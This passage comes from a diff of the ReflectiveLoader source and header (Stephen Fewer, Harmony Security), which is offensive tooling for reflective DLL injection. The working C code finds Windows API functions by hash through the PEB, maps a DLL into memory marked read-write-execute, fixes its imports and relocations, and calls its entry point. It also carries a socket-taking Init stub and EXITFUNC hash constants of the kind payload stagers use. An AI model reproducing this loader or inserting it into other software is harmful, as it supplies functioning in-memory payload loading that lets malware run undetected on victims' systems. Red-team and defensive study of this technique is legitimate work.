uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 3;
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
usCounter++;
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
usCounter++;
|
||||
#endif
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == LOADLIBRARYA_HASH
|
||||
|| dwHashValue == GETPROCADDRESS_HASH
|
||||
|| dwHashValue == VIRTUALALLOC_HASH
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
|| dwHashValue == VIRTUALLOCK_HASH
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
|| dwHashValue == OUTPUTDEBUG_HASH
|
||||
#endif
|
||||
)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
else if (dwHashValue == VIRTUALLOCK_HASH)
|
||||
pVirtualLock = (VIRTUALLOCK)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
#endif
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
else if (dwHashValue == OUTPUTDEBUG_HASH)
|
||||
pOutputDebug = (OUTPUTDEBUG)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
#endif
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||
|
||||
usCounter = 1;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while (usCounter > 0)
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||
|
||||
// store this functions VA
|
||||
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||
|
||||
// decrement our counter
|
||||
usCounter--;
|
||||
}
|
||||
|
||||
// get the next exported function name
|
||||
uiNameArray += sizeof(DWORD);
|
||||
|
||||
// get the next exported function name ordinal
|
||||
uiNameOrdinals += sizeof(WORD);
|
||||
}
|
||||
}
|
||||
|
||||
// we stop searching when we have found everything we need.
|
||||
if (pLoadLibraryA
|
||||
&& pGetProcAddress
|
||||
&& pVirtualAlloc
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
&& pVirtualLock
|
||||
#endif
|
||||
&& pNtFlushInstructionCache
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
&& pOutputDebug
|
||||
#endif
|
||||
)
|
||||
break;
|
||||
|
||||
// get the next entry
|
||||
uiValueA = DEREF(uiValueA);
|
||||
}
|
||||
|
||||
// STEP 2: load our image into a new permanent location in memory...
|
||||
|
||||
// get the VA of the NT Header for the PE to be loaded
|
||||
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
// prevent our image from being swapped to the pagefile
|
||||
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||
#endif
|
||||
|
||||
// we must now copy over the headers
|
||||
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||
uiValueB = uiLibraryAddress;
|
||||
uiValueC = uiBaseAddress;
|
||||
|
||||
while (uiValueA--)
|
||||
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||
|
||||
// STEP 3: load in all of our sections...
|
||||
|
||||
// uiValueA = the VA of the first section
|
||||
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
// itterate through all sections, loading them into memory.
|
||||
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||
while (uiValueE--)
|
||||
{
|
||||
// uiValueB is the VA for this section
|
||||
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||
|
||||
// uiValueC if the VA for this sections data
|
||||
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||
|
||||
// copy the section over
|
||||
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||
|
||||
while (uiValueD--)
|
||||
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||
|
||||
// get the VA of the next section
|
||||
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||
}
|
||||
|
||||
// STEP 4: process our images import table...
|
||||
|
||||
// uiValueB = the address of the import directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
|
||||
// we assume there is an import table to process
|
||||
// uiValueC is the first entry in the import table
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics)
|
||||
{
|
||||
OUTPUTDBG("Loading library: ");
|
||||
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
OUTPUTDBG("\n");
|
||||
|
||||
// use LoadLibraryA to load the imported module into memory
|
||||
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||
|
||||
if (!uiLibraryAddress)
|
||||
{
|
||||
OUTPUTDBG("Loading library FAILED\n");
|
||||
|
||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
continue;
|
||||
}
|
||||
|
||||
// uiValueD = VA of the OriginalFirstThunk
|
||||
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||
|
||||
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||
|
||||
// itterate through all imported functions, importing by ordinal if no name present
|
||||
while (DEREF(uiValueA))
|
||||
{
|
||||
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||
{
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||
|
||||
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||
|
||||
// patch in the address for this imported function
|
||||
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||
}
|
||||
else
|
||||
{
|
||||
// get the VA of this functions import by name struct
|
||||
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||
|
||||
OUTPUTDBG("Resolving function: ");
|
||||
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
OUTPUTDBG("\n");
|
||||
|
||||
// use GetProcAddress and patch in the address for this imported function
|
||||
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||
}
|
||||
// get the next imported function
|
||||
uiValueA += sizeof(ULONG_PTR);
|
||||
if (uiValueD)
|
||||
uiValueD += sizeof(ULONG_PTR);
|
||||
}
|
||||
|
||||
// get the next import
|
||||
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||
}
|
||||
|
||||
// STEP 5: process all of our images relocations...
|
||||
|
||||
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||
|
||||
// uiValueB = the address of the relocation directory
|
||||
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
// check if their are any relocations present
|
||||
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
|
||||
{
|
||||
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
|
||||
|
||||
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
|
||||
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||
|
||||
// and we itterate through all entries...
|
||||
while (uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
|
||||
{
|
||||
// uiValueA = the VA for this relocation block
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
|
||||
|
||||
// uiValueB = number of entries in this relocation block
|
||||
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
|
||||
|
||||
// uiValueD is now the first entry in the current relocation block
|
||||
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
|
||||
|
||||
// we itterate through all the entries in the current block...
|
||||
while (uiValueB--)
|
||||
{
|
||||
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
|
||||
// we dont use a switch statement to avoid the compiler building a jump table
|
||||
// which would not be very position independent!
|
||||
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
|
||||
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
|
||||
#ifdef WIN_ARM
|
||||
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
|
||||
{
|
||||
register DWORD dwInstruction;
|
||||
register DWORD dwAddress;
|
||||
register WORD wImm;
|
||||
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
|
||||
dwInstruction = *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
|
||||
// flip the words to get the instruction as expected
|
||||
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
// sanity chack we are processing a MOV instruction...
|
||||
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
|
||||
{
|
||||
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
|
||||
wImm = (WORD)(dwInstruction & 0x000000FF);
|
||||
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
|
||||
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
|
||||
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
|
||||
// apply the relocation to the target address
|
||||
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
|
||||
// now create a new instruction with the same opcode and register param.
|
||||
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
|
||||
// patch in the relocated address...
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
|
||||
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
|
||||
// now flip the instructions words and patch back into the code...
|
||||
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
|
||||
}
|
||||
}
|
||||
#endif
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH)
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
|
||||
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW)
|
||||
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
|
||||
|
||||
// get the next entry in the current relocation block
|
||||
uiValueD += sizeof(IMAGE_RELOC);
|
||||
}
|
||||
|
||||
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
// get the next entry in the relocation directory
|
||||
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
// STEP 6: call our images entry point
|
||||
|
||||
// uiValueA = the VA of our newly loaded DLL/EXE's entry point
|
||||
uiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);
|
||||
|
||||
OUTPUTDBG("Flushing the instruction cache");
|
||||
// We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing.
|
||||
pNtFlushInstructionCache((HANDLE)-1, NULL, 0);
|
||||
|
||||
// call our respective entry point, fudging our hInstance value
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
// if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter)
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter);
|
||||
#else
|
||||
// if we are injecting an DLL via a stub we call DllMain with no parameter
|
||||
((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
|
||||
#endif
|
||||
|
||||
// STEP 8: return our new entry point address so whatever called us can call DllMain() if needed.
|
||||
return uiValueA;
|
||||
}
|
||||
//===============================================================================================//
|
||||
#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// you must implement this function...
|
||||
extern DWORD DLLEXPORT Init(SOCKET socket);
|
||||
|
||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
BOOL bReturnValue = TRUE;
|
||||
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
if (lpReserved != NULL)
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
break;
|
||||
case DLL_PROCESS_DETACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
break;
|
||||
}
|
||||
return bReturnValue;
|
||||
}
|
||||
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,223 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <Winsock2.h>
|
||||
#include <intrin.h>
|
||||
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
// Enable this define to turn on OutputDebugString support
|
||||
//#define ENABLE_OUTPUTDEBUGSTRING 1
|
||||
|
||||
// Enable this define to turn on locking of memory to prevent paging
|
||||
#define ENABLE_STOPPAGING 1
|
||||
|
||||
#define EXITFUNC_SEH 0xEA320EFE
|
||||
#define EXITFUNC_THREAD 0x0A2A1DE0
|
||||
#define EXITFUNC_PROCESS 0x56A2B5F0
|
||||
|
||||
typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
|
||||
typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
|
||||
typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
|
||||
|
||||
#define KERNEL32DLL_HASH 0x6A4ABC5B
|
||||
#define NTDLLDLL_HASH 0x3CFA685D
|
||||
|
||||
#define LOADLIBRARYA_HASH 0xEC0E4E8E
|
||||
#define GETPROCADDRESS_HASH 0x7C0DFCAA
|
||||
#define VIRTUALALLOC_HASH 0x91AFCA54
|
||||
#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
|
||||
|
||||
#ifdef ENABLE_STOPPAGING
|
||||
typedef LPVOID(WINAPI * VIRTUALLOCK)(LPVOID, SIZE_T);
|
||||
#define VIRTUALLOCK_HASH 0x0EF632F2
|
||||
#endif
|
||||
|
||||
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||
typedef LPVOID(WINAPI * OUTPUTDEBUG)(LPCSTR);
|
||||
#define OUTPUTDEBUG_HASH 0x470D22BC
|
||||
#endif
|
||||
|
||||
#define IMAGE_REL_BASED_ARM_MOV32A 5
|
||||
#define IMAGE_REL_BASED_ARM_MOV32T 7
|
||||
|
||||
#define ARM_MOV_MASK (DWORD)(0xFBF08000)
|
||||
#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
|
||||
#define ARM_MOVW 0xF2400000
|
||||
#define ARM_MOVT 0xF2C00000
|
||||
|
||||
#define HASH_KEY 13
|
||||
//===============================================================================================//
|
||||
#pragma intrinsic( _rotr )
|
||||
|
||||
__forceinline DWORD ror(DWORD d)
|
||||
{
|
||||
return _rotr(d, HASH_KEY);
|
||||
}
|
||||
|
||||
__forceinline DWORD _hash(char * c)
|
||||
{
|
||||
register DWORD h = 0;
|
||||
do
|
||||
{
|
||||
h = ror(h);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
|
||||
return h;
|
||||
}
|
||||
//===============================================================================================//
|
||||
typedef struct _UNICODE_STR
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR pBuffer;
|
||||
} UNICODE_STR, *PUNICODE_STR;
|
||||
|
||||
// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY
|
||||
//__declspec( align(8) )
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY
|
||||
{
|
||||
//LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry.
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
LIST_ENTRY HashTableEntry;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_LDR_DATA
|
||||
typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes
|
||||
{
|
||||
DWORD dwLength;
|
||||
DWORD dwInitialized;
|
||||
LPVOID lpSsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
LPVOID lpEntryInProgress;
|
||||
} PEB_LDR_DATA, *PPEB_LDR_DATA;
|
||||
|
||||
// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK
|
||||
typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes
|
||||
{
|
||||
struct _PEB_FREE_BLOCK * pNext;
|
||||
DWORD dwSize;
|
||||
} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
|
||||
|
||||
// struct _PEB is defined in Winternl.h but it is incomplete
|
||||
// WinDbg> dt -v ntdll!_PEB
|
||||
typedef struct __PEB // 65 elements, 0x210 bytes
|
||||
{
|
||||
BYTE bInheritedAddressSpace;
|
||||
BYTE bReadImageFileExecOptions;
|
||||
BYTE bBeingDebugged;
|
||||
BYTE bSpareBool;
|
||||
LPVOID lpMutant;
|
||||
LPVOID lpImageBaseAddress;
|
||||
PPEB_LDR_DATA pLdr;
|
||||
LPVOID lpProcessParameters;
|
||||
LPVOID lpSubSystemData;
|
||||
LPVOID lpProcessHeap;
|
||||
PRTL_CRITICAL_SECTION pFastPebLock;
|
||||
LPVOID lpFastPebLockRoutine;
|
||||
LPVOID lpFastPebUnlockRoutine;
|
||||
DWORD dwEnvironmentUpdateCount;
|
||||
LPVOID lpKernelCallbackTable;
|
||||
DWORD dwSystemReserved;
|
||||
DWORD dwAtlThunkSListPtr32;
|
||||
PPEB_FREE_BLOCK pFreeList;
|
||||
DWORD dwTlsExpansionCounter;
|
||||
LPVOID lpTlsBitmap;
|
||||
DWORD dwTlsBitmapBits[2];
|
||||
LPVOID lpReadOnlySharedMemoryBase;
|
||||
LPVOID lpReadOnlySharedMemoryHeap;
|
||||
LPVOID lpReadOnlyStaticServerData;
|
||||
LPVOID lpAnsiCodePageData;
|
||||
LPVOID lpOemCodePageData;
|
||||
LPVOID lpUnicodeCaseTableData;
|
||||
DWORD dwNumberOfProcessors;
|
||||
DWORD dwNtGlobalFlag;
|
||||
LARGE_INTEGER liCriticalSectionTimeout;
|
||||
DWORD dwHeapSegmentReserve;
|
||||
DWORD dwHeapSegmentCommit;
|
||||
DWORD dwHeapDeCommitTotalFreeThreshold;
|
||||
DWORD dwHeapDeCommitFreeBlockThreshold;
|
||||
DWORD dwNumberOfHeaps;
|
||||
DWORD dwMaximumNumberOfHeaps;
|
||||
LPVOID lpProcessHeaps;
|
||||
LPVOID lpGdiSharedHandleTable;
|
||||
LPVOID lpProcessStarterHelper;
|
||||
DWORD dwGdiDCAttributeList;
|
||||
LPVOID lpLoaderLock;
|
||||
DWORD dwOSMajorVersion;
|
||||
DWORD dwOSMinorVersion;
|
||||
WORD wOSBuildNumber;
|
||||
WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
